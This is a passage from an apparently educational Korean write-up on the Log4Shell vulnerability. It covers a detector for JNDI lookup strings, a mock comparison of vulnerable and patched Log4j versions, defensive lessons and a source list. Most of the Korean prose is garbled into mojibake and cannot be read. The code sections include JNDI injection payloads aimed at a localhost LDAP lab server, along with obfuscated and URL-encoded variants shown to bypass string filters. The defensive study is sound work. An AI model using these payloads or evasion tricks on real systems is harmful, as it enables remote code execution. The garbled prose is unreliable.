โ 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/o
โ 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/lab-token-ABC123
โ 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/Basic/Command/lab
โป ์ค์ ๊ณต๊ฒฉ์ด๋ฉด ์ฌ๊ธฐ์ '์๊ฒฉ ํด๋์ค ์ฐธ์กฐ'๋ฅผ ๋ฐํํด RCE ๋ก ์ด์ด์ง๋ค.
โป ๋ณธ PoC ๋ ์์ ๋ง ๊ธฐ๋กํ๋ฉฐ ์
์ฑ ํด๋์ค/ํ์ด๋ก๋๋ฅผ ์ผ์ ์ ๊ณตํ์ง ์๋๋ค.
ํต์ฌ์ ๋ฐฉํฅ์ด๋ค. ๊ณต๊ฒฉ์๊ฐ ์ทจ์ฝ ์๋ฒ์ '์ฝ๋๋ฅผ ๋ฐ์ด ๋ฃ์' ๊ฒ ์๋๋ผ, ์ทจ์ฝ ์๋ฒ๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ง์ ํ ์ฃผ์๋ก ์ค์ค๋ก ์ ์ํ๋ค. ๊ทธ๋์ ์์๋ฐ์ด๋ ํต์ (egress filtering) ๊ฐ ๋งค์ฐ ํจ๊ณผ์ ์ธ ๋ฐฉ์ด๊ฐ ๋๋ค(6์ ).
PoC โข ํ์ง๊ธฐ โ ๋๋ ํยทURL ์ธ์ฝ๋ฉ์ ์ ๊ทํ๋ก ๋ฒ๊ฒจ๋ธ๋ค
# PoC โข : ํ์ง๊ธฐ โ ๋๋
ํ๋ ${jndi:..} ๋ฅผ ์ ๊ทํํด์ ์ก์๋ธ๋ค
def normalize(s):
s = urllib.parse.unquote(s) # %24%7B.. โ ${..
for _ in range(6):
s = re.sub(r"\$\{\s*lower:\s*([^{}]*)\}", lambda m: m.group(1).lower(), s)
s = re.sub(r"\$\{\s*upper:\s*([^{}]*)\}", lambda m: m.group(1).upper(), s)
return s.replace("${", "").replace("}", "").lower() # ๊ตฌ๋ถ์ ์ ๊ฑฐ ํ ์๋ฌธ์ํ
def detect(line):
n = normalize(line)
if "jndi" in n and any(p in n for p in ("ldap","ldaps","rmi","dns","iiop")):
return "JNDI_LOOKUP"
if "${" in line: return "SUSPICIOUS_SUB" # ๋ฏธ์ ํ๋ฆฌํฝ์ค/์ ์ถ ์๋
return None
์คํ ๊ฒฐ๊ณผ(์ด๋ฒ ์คํ ์ค์ ์ถ๋ ฅ):
[โข] ํ์ง๊ธฐ โ ๋ก๊ทธ 5์ค ํ์
- GET /index.html HTTP/1.1 User-Agent: Mozilla/5.0
JNDI_LOOKUP ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
JNDI_LOOKUP User-Agent: ${${lower:j}ndi:ldap://127.0.0.1:1389/o}
JNDI_LOOKUP %24%7B%24%7Blower%3Aj%7Dndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fo%7D
- Cookie: theme=dark; lang=ko
โป 3๋ฒ์งธยท4๋ฒ์งธ ์ค์ด ๋ฌธ์์ด ํํฐ๋ฅผ ๊ทธ๋ฅ ์ง๋๊ฐ๋ ํํ(๋๋
ํยทURL ์ธ์ฝ๋ฉ)๋ค.
${lower:j}ndi ์ %24%7B...%7D ์ฒ๋ผ ๋์ผ๋ก๋
jndi ๊ฐ ์ ๋ณด์ด๋ ์
๋ ฅ๋ ์ ๊ทํ๋ฅผ ๊ฑฐ์น๋ฉด ์กํ๋ค. ๋ค๋ง ์ด๊ฑด
'ํ์ง'์ผ ๋ฟ '์ฐจ๋จ'์ด ์๋๋ค โ 4์ ์์ ๋ดค๋ฏ ๋ณํ์ ๊ณ์ ๋์จ๋ค. ๋ก๊ทธ ํ์ดํ๋ผ์ธ์ ์ด
์ ๊ทํ ํ์ ์ ๋ฃ์ด ์ฌํ ์ถ์ ์ ๋ฐ๋์ ๊ฐ๋ฅํ๊ฒ ํด๋๋ ํธ์ด ์ข๋ค.
PoC โฃ ์ทจ์ฝํ vs ํจ์นํ โ ๋ฌด์์ด ์ค์ ๋ก ๋ฌ๋ผ์ง๋๊ฐ
# PoC โฃ : ํจ์น/์ํ ์๋ฎฌ๋ ์ดํฐ (์ทจ์ฝํ vs ํจ์นํ)
class MockLog4j:
def __init__(self, version, format_msg_no_lookups=False, enable_jndi=True):
self.version, self.fmnl, self.jndi = version, format_msg_no_lookups, enable_jndi
def info(self, msg):
guard = self.fmnl or not self.jndi # ๋ฃฉ์
๋นํ์ฑ = ๋ฌธ์์ด ๊ทธ๋๋ก ๊ธฐ๋ก
return "[" + self.version + "] " + substitute(msg, guard)
์คํ ๊ฒฐ๊ณผ(์ด๋ฒ ์คํ ์ค์ ์ถ๋ ฅ):
[โฃ] ํจ์น/์ํ ์๋ฎฌ๋ ์ดํฐ
[2.14.1 (์ทจ์ฝ)] [JNDIโldap://127.0.0.1:1389/Basic/Command/lab]
[2.15.0 + log4j2.formatMsgNoLookups=true] ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
[2.16.0 (JNDI/๋ฃฉ์
๊ธฐ๋ณธ ๋นํ์ฑ)] ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
โป 2.16.0 ๋ถํฐ๋ ์
๋ ฅ์ด '๊ทธ๋ฅ ๋ฌธ์์ด'๋ก ๊ธฐ๋ก๋๋ค. ์ทจ์ฝํ์์๋ง ์ฝ๋ฐฑ์ด ๋ฐ์ํ๋ค.
๊ฐ์ ์ ๋ ฅ์ด 2.14.1 ์์๋ ์ฝ๋ฐฑ์ ์ ๋ฐํ๊ณ , 2.16.0 ์์๋ ๊ทธ๋ฅ ๋ฌธ์์ด๋ก ๊ธฐ๋ก๋๋ค. ํจ์น์ ๋ณธ์ง์ 'ํจํด์ ๋ ์ ๋ง๋ ๊ฒ'์ด ์๋๋ผ ๋ฃฉ์ ๊ธฐ๋ฅ ์์ฒด๋ฅผ ๋๋ ๊ฒ์ด๋ค.
๋ค ์กฐ๊ฐ์ ๊ฒฐ๋ก ์ ๋ช ํํ๋ค โ Log4Shell ์ โ ํธ์ ๊ธฐ๋ฅ(๋ฃฉ์ )์ด โก ์๊ฒฉ ์คํ ๊ฒฝ๋ก(JNDI)์ โข ํํ ๋ฐ์ดํฐ ํ๋ฆ(๋ก๊น )์์ ๋ง๋ ํฐ์ง ์ฌ๊ณ ๋ค. ๊ทธ๋์ ๋ฐฉ์ด๋ "์ด ๋ฌธ์์ด์ ๋ง์"๊ฐ ์๋๋ผ "๊ธฐ๋ฅ์ ๋๊ณ , ํ๋ฆ์ ๋๊ณ , ์์กด์ฑ์ ํ์ ํ์"๊ฐ ๋์ด์ผ ํ๋ค.
6. ๋ฐฉ์ด ๋ฐฉ๋ฒ/๊ตํ
- ํจ์น๋ '์๊ฒฐ ๋ฒ์ '๊น์ง ์ฌ๋ฆฐ๋ค: ์ต์ 2.17.1 (๋๋ 2.12.4 / 2.3.2) ๋ก ๊ฐ๋ค. 2.15.0 ์ 45046 ์ผ๋ก ๋ถ์์ , 2.16.0 ์ 45105(DoS), 2.17.0 ์ 44832 ๊ฐ ๋จ๋๋ค. "์ผ๋จ 2.15.0 ์ฌ๋ ธ๋ค"๋ ์ฐฉ์๊ฐ ๋ค์ ์ฌ๊ณ ๋ฅผ ๋ง๋ ๋ค.
- ๊ตฌ๋ฒ์ ์ด๋ฉด ๊ธฐ๋ฅ์ ๋๋ค: classpath ์์
JndiLookupํด๋์ค๋ฅผ ์ ๊ฑฐํ๊ฑฐ๋log4j2.formatMsgNoLookups=true(์ ์๋ ๊ฐ๋ ฅ, ํ์๋ ๋ถ์์ ). ๊ทผ๋ณธ ํด๋ฒ์ ํญ์ "๋ฃฉ์ ๋นํ์ฑ"์ด๋ค. - ์์๋ฐ์ด๋ ํต์ (egress filtering)๋ฅผ 1๊ธ ํต์ ๋ก: ์ทจ์ฝ ์๋ฒ๊ฐ ๊ณต๊ฒฉ์์๊ฒ ๋จผ์ ์ ์ํ๋ ๊ตฌ์กฐ์ด๋ฏ๋ก, ์๋ฒ๊ฐ ์์ ์ธ๋ถ LDAP/RMI/DNS๋ก ๋๊ฐ๋ ๊ฒ์ ๋ง์ผ๋ฉด RCE ์ฒด์ธ ์์ฒด๊ฐ ๋๊ธด๋ค. ์๊ตญ NCSCยทNCC Group ์ด ์ต์ฐ์ ๊ถ๊ณ ๋ก ์ ์ํ๊ณ , ์คํ์ผ๋ก๋ ์ ํจ์ฑ์ด ํ์ธ๋๋ค. ํจ์น๊ฐ ๋ฆ์ด์ง๋ ์์ฐ์ผ์๋ก ์ด ํต์ ๊ฐ ์๋ช ์ค์ด๋ค.
- JVM/JRE ๋ ํจ๊ป ๊ฐํ:
trustURLCodebase=false(JDK 8u191 / 11.0.1+ ๊ธฐ๋ณธ)๋ก ์๊ฒฉ ํด๋์ค ๋ก๋ฉ์ ์ฐจ๋จํ๊ณ , ๋ณด์ ๊ด๋ฆฌ์ยท๋ชจ๋ ๊ฒฉ๋ฆฌ๋ฅผ ๊ฒํ ํ๋ค. ๋จ, ์ง๋ ฌํ ๋ฒกํฐ๊ฐ ๋จ์ผ๋ฏ๋ก ์ด๊ฒ๋ง์ผ๋ก ์์ ํ๋ค๊ณ ํ๋จํ์ง ์๋๋ค. - WAF/ํค๋ ํํฐ๋ '๋ณด์กฐ'์ผ ๋ฟ:
${jndi๊ฐ์ ๋ฌธ์์ด ์ฐจ๋จ์ ๊ณต๊ฐ ์งํ์ ์์ ์ํ๋ก๋ ์ ํจํ์ง๋ง,${lower:j}ndiยทURL ์ธ์ฝ๋ฉ์ผ๋ก ์ฆ์ ์ฐํ๋๋ค(PoC โข). ํํฐ๋ ์๊ฐ์ ๋ฒ์ด์ค ๋ฟ, ๋ฃจํธ๋ฅผ ๊ณ ์น์ง ์๋๋ค. - SBOMยท์์กด์ฑ ์ธ๋ฒคํ ๋ฆฌ ์์ด๋ ํจ์นํ ์ ์๋ค: "์ฐ๋ฆฌ ์๋น์ค๊ฐ Log4j๋ฅผ ์ฐ๋?"์ ์ฆ์ ๋ตํ์ง ๋ชปํ๋ ์กฐ์ง์ด ๋ง์๋ค. ์ง์ ์์กด์ฑ๋ฟ ์๋๋ผ ๊ฐ์ (transitive) ์์กด์ฑ๊ณผ ์ปจํ ์ด๋ ์ด๋ฏธ์ง๊น์ง ์๋ณํ๋ ์ฒด๊ณ(SBOM, ์ํฐํฉํธ ์ค์บ)๊ฐ ์์ด์ผ ๋์์ด ์์๋๋ค. ๊ณต๊ธ๋ง ์ทจ์ฝ์ ์ ์ฒซ ๋จ๊ณ๋ ํญ์ '๊ฐ์์ฑ'์ด๋ค.
- '์ ๋ขฐ ๊ฒฝ๊ณ'๋ฅผ ๋ค์ ์ ์ํ๋ค: ๋ก๊ทธ๋ ํํ '์ฝ๊ธฐ ์ ์ฉ ์์ ์ง๋'๋ก ์ฌ๊ฒจ์ก๋ค. ๊ทธ๋ฌ๋ ๋ก๊ทธ์ ๋ค์ด๊ฐ๋ ์ ๋ ฅ๋ ํ์ยทํด์๊ธฐ์ ์ ๋ ฅ์ผ ์ ์๋ค. ์ค์ ยท๋ก๊ทธยท์ ๊ท์ยทํ ํ๋ฆฟ์ฒ๋ผ 'ํด์๋๋' ๋ชจ๋ ๊ณณ์์ ์ ๋ ฅ์ ๋ฐ์ดํฐ๋ก๋ง ์ทจ๊ธ(์นํยท์คํ ๊ธ์ง)ํ๋ ์์น์ด ํ์ํ๋ค.
- ์นจํด๋ฅผ ๊ฐ์ ํ๊ณ ์ฌ๋ฅํ๋ค: Sophos ์ ์ง์ ์ฒ๋ผ ํจ์น๋ฅผ ํด๋
์ด๋ฏธ ์์ ์๋ ๊ณต๊ฒฉ์๊ฐ ๋จ๋๋ค. ์์๋ฐ์ด๋ LDAP/RMI/DNS ์ด์ ํ๋ฆ,
JndiLookupํธ์ถ ๋ก๊ทธ, ์์ ๋ฐ ํ๋ก์ธ์ค์ ์ธ๋ถ ์ ์์ ์ญ์ถ์ ํ๋ ์ฌ๋ฅ(hunting) ์ ์ฐจ๋ฅผ ์ค๋นํ๋ค. - ์คํ์์ค ์ ์ง๋ณด์๋ ๊ตญ๊ฐ์๋ณด ๋ฌธ์ ๋ค: ์ด ์ฌ๊ณ ์ดํ ๋ฐฑ์ ๊ด์ ์์์ ์์๋ด์ฌ์์๊ฒ ์์กดํ๋ ์คํ์์ค์ ๋ณด์ ์ ์ง๊ฐ ๊ตญ๊ฐ์๋ณด์ ์ง๊ฒฐ๋๋ค๋ ์ ์ ์ฌํ์ธํ๋ค. '์คํ์์ค๋๊น ์์ ํ๋ค'๋ ๊ฐ์ ๊ณผ '์คํ์์ค๋๊น ๋ฌด๋ฃ๋ก ์ ์ง๋ ๊ฒ'์ด๋ผ๋ ๊ฐ์ ์ ๋ ๋ค ํ๋ ธ๋ค. ์๋น์๋ ์๊ธยท๊ฐ์ฌยท๋ณด์์ ์ฑ ์์ ํจ๊ป ์ ธ์ผ ํ๋ค.
- ํ ์ดํฌ๋ค์ด์ด ์๋๋ผ '์์ ๋์'์ ์ค๋นํ๋ค: Log4j ๋ 2013๋ ๋ถํฐ ์์๊ณ , ์์ ์ 2.15.0 โ 2.16.0 โ 2.17.0 โ 2.17.1 ๋ก ์ด์ด์ก๋ค. ๋จ์ผ ํจ์น๋ก ๋๋๋ ์ทจ์ฝ์ ์ ๋๋ฌผ๋ค. ์ทจ์ฝ์ ์ '๊ณ ์น๋ ์๊ฐ'์ด ์๋๋ผ '์ถ์ ํ๋ ๋์' ๊ด๋ฆฌ๋๋ค๋ ์ ์ ๋ก, ์์กด์ฑ ๋ชจ๋ํฐ๋งยท์ด์ ์์๋ฐ์ด๋ ํ์งยท์ ์ ํจ์น ํ์ดํ๋ผ์ธ์ ์์ ๊ฐ๋ํ๋ค.
7. ์ถ์ฒ
- Wikipedia โ Log4Shell: 2013๋ ๋ถํฐ ์ ์ฌ, Chen Zhaojun(Alibaba Cloud) 2021-11-24 ์ ๋ณด, 2021-12-09 ๊ณต๊ฐยทํจ์น, ๋ช ๋ช (LunaSec Free Wortley), JNDI/LDAP ๋์, ๋๋ ํ ์ฐํ, 45046/45105/44832, WizยทEY 93%/45%, Belgian MoDยทQuebec 4,000ยทCRA ์ค๋จยท์ค๊ตญ MIIT 6๊ฐ์ ์ ์ง, Conti(12-17), Cloudflare 12-01, ๋ด๋ท(Muhstik/Mirai/Tsunami) โ en.wikipedia.org/wiki/Log4Shell
- NVD โ CVE-2021-44228 (CVSS 10.0,
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, ์ํฅ ๋ฒ์ ๋ฒ์) โ nvd.nist.gov/vuln/detail/CVE-2021-44228 - NVD โ CVE-2021-45046 (9.0, 2.15.0 ๋ถ์์ ์์ ) ยท CVE-2021-45105 (5.9, DoS) ยท CVE-2021-44832 (6.6, JDBC Appender) โ nvd.nist.gov/vuln/detail/CVE-2021-45046
- CISA โ Mitigating Log4Shell and Other Log4j-Related Vulnerabilities (AA21-356A, ์ฐ๋ฐฉ ํจ์น ๊ธฐํยทํ์ง/์ํ ์ง์นจ) โ cisa.gov/news-events/cybersecurity-advisories/aa21-356a
- Apache Logging Services โ Log4j Security Vulnerabilities (๊ถ๊ณ ยท์์ ๋ฒ์ 2.16.0 / 2.17.0 / 2.17.1,
JndiLookup์ ๊ฑฐ ์ํ) โ logging.apache.org/log4j/2.x/security.html - LunaSec โ Log4Shell / log4j 2 CVE-2021-44228 (์ต์ด ๊ณต๊ฐ ๋ถ์ยท๋ช ๋ช ) โ lunasec.io/docs/blog/log4j-zero-day
โป ๋ณธ๋ฌธ์ PoC ์ฝ๋๋ ๊ตฌ์กฐ ์ดํด ๋ชฉ์ ์ ๊ต์ก์ฉ ๋ชจ์ ์ฝ๋์ด๋ฉฐ, ์ค์ Log4j ๋ฐ์ด๋๋ฆฌยท์ค์ ์ ์ฑ LDAP/RMI ์๋ฒยท์๊ฒฉ ํด๋์ค ๋ก๋ฉ ํ์ด๋ก๋ยท์ค์ ์ต์คํ๋ก์ ๋ฌธ์์ด/IOCยท์ค์ ๊ณต๊ฒฉ ๋๋ฉ์ธ์ ํฌํจํ์ง ์์ต๋๋ค. ๋ชจ๋ ์ค์ต์ ์ธํฐ๋ท๊ณผ ๋ถ๋ฆฌ๋ ๊ฒฉ๋ฆฌ ๋ฉ VM์ ์ ์ ๋ก ํ๋ฉฐ, ์ค์ ์์คํ ยทํ์ธ ์์ฐ์ ๋ํ ์คํ์ ๋ถ๋ฒ์ ๋๋ค.
ํจ๊ป ์ฝ๊ธฐ: ๐ฆ SolarWinds SUNBURST (2020) โ ์ ๋ขฐ๋ฐ๋ ์ํํธ์จ์ด ๊ณต๊ธ๋ง์ ๋ถ๊ดด ยท ๐๏ธ MOVEit/Cl0p (2023) โ ์ทจ์ฝ์ ํ๋๋ก ๋๋ ์ ์ถ ยท โก Industroyer/CrashOverride โ '์ต์คํ๋ก์ ์์ด' ํ๋กํ ์ฝ์ ๋งํ ์ ์ฑ์ฝ๋ ยท ๐ชฑ Conficker (2008) โ ํจ์นยท๋์์ ๊ฒฝ์ ํ ยท ๐ฅ Code Red (2001) โ ์น ์๋ฒ ์ทจ์ฝ์ ํ๋๊ฐ ๋ง๋ ๋๋ ๊ฐ์ผ